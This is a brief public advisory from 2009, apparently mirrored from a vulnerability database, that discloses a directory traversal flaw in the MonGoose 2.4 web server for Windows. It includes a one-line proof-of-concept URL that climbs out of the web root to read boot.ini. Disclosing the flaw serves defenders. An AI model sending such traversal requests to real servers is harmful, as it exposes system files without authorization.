Lucene search

K
securityvulnsSecurityvulnsSECURITYVULNS:DOC:21647
HistoryApr 14, 2009 - 12:00 a.m.

MonGoose 2.4 Directory Traversal Vulnerability

2009-04-1400:00:00
vulners.com
11

######### MonGoose 2.4 (win) webserver Directory Traversal #########

######By: e.wiZz!

######Site: www.balcansecurity.com

Found with ServMeNot (world's sexiest fuzzer :P)

In the wild…

#########################################################################################

[Info]: Easy to use web server for Windows and UNIX. Mongoose provides simple and clean API
for embedding it into existing programs. Targeting Web application developers, embedded system developers,
and people who need to setup file sharing quickly.

[Vulnerability]:

http://[localhost]/…/…/…/…/…/…/boot.ini